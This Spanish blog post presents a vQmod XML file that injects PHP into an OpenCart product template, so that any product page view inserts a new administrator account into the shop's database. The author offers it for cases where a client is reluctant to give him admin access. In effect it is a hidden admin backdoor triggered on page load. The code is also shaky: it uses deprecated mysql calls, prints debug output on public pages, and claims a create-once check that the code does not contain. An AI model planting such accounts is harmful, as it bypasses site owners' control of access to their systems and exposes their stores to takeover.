Saltar al contenido
Codifíca.me | Desarrollo web | Programación

Crear un usuario administrador en Opencart con vQmod

28 enero, 2015

En esta entrada vamos a ver este sencillo script para crear un nuevo usuario en una base de datos Opencart, la utilidad es rara, ciertamente me vale para cuando no tengo acceso al panel de administración o el cliente es un poco reacio a darme su usuario de administrador, entonces sencillamente me creo un usuario de administrador desde vQmod.

Creando un usuario administrador en Opencart con vQmod

Lo puedes hacer en cualquier sitio , la verdad, pero yo he elegido llamar al script desde una ficha de producto,
es decir, cuando llames desde el navegador a cualquier producto ejecutará el script creando tu usuario, solo lo creará una vez por que una vez que exista el usuario no lo va a crear más veces.
Aun así, despues de crear el usuario borra el script de tu vQmod.

Cómo lo hago

Fácil, copias todo este código en tu fichero xml, con el nombre que quieras, nombrequequieras.xml y lo subes a la carpeta /vqmod/xml/ y listo, cuento desde tu navegador visites un producto te creará el usuario.

Mi recomendación es que copies (los datos) un usuario que tengas de otra base de datos de Opencart que ya sepas el usuario y la contraseña y así ya sabes como entrar, puesto que ya sabes cual es el usuario y la contraseña.

Sino tienes esta opción, pues otra opción es poner el usuario que quieras y en el email un email tuyo, te vas al admin: tudominio.com/admin le dices que has olvidado la contraseña y que te la envíe a tu email. Y listo, ya puedes poner la contraseña que quieras para ese usuario.

<modification>
<id>create user</id>
<version>2.0.0</version>
<vqmver>2.1.0</vqmver>
<author>user</author>
 
<file name="catalog/view/theme/*/template/product/product.tpl">
	<operation error="skip">
		<search position="replace"><![CDATA[<div id="product-top">]]></search>
		<add><![CDATA[
               <div id="product-top">              
 
               <?php 
 
      $link = mysql_connect('localhost', 'usuario', 'password') or die('No se pudo conectar: ' . mysql_error());
      echo 'Connectado';
 
          mysql_select_db('base de datos') or die('No se pudo seleccionar la base de datos');                  
   $result = mysql_query("INSERT INTO " . DB_PREFIX . "user (  `user_group_id`, `username`, `password`, `salt`, `firstname`, `lastname`, `email`,  `code`, `ip`, `status`, `date_added`) VALUES
( 1, 'usuario', '63d6cd6829b3438031b73f688a30f97739a741a9', '1398c3ac1', 'John', 'Doe', 'tu_email@gmail.com', '', '211.19.211.6', 1, '2014-12-22 10:48:03')") or die('No se pudo insertar: ' . mysql_error());  
 
 
   // Liberar resultados
mysql_free_result($result);
 
// Cerrar la conexión
mysql_close($link);
 
?>           
                 ]]></add>
	</operation>
</file>
</modification>

El script está comentado, espero que lo podáis sacar utilidad. Si tenéis cualquier duda, dejarme un mensaje y os echaré una mano.

Por último, me gustaría que me dejases un +1, para que Google se sienta orgulloso de mi 🙂 jajaja Gracias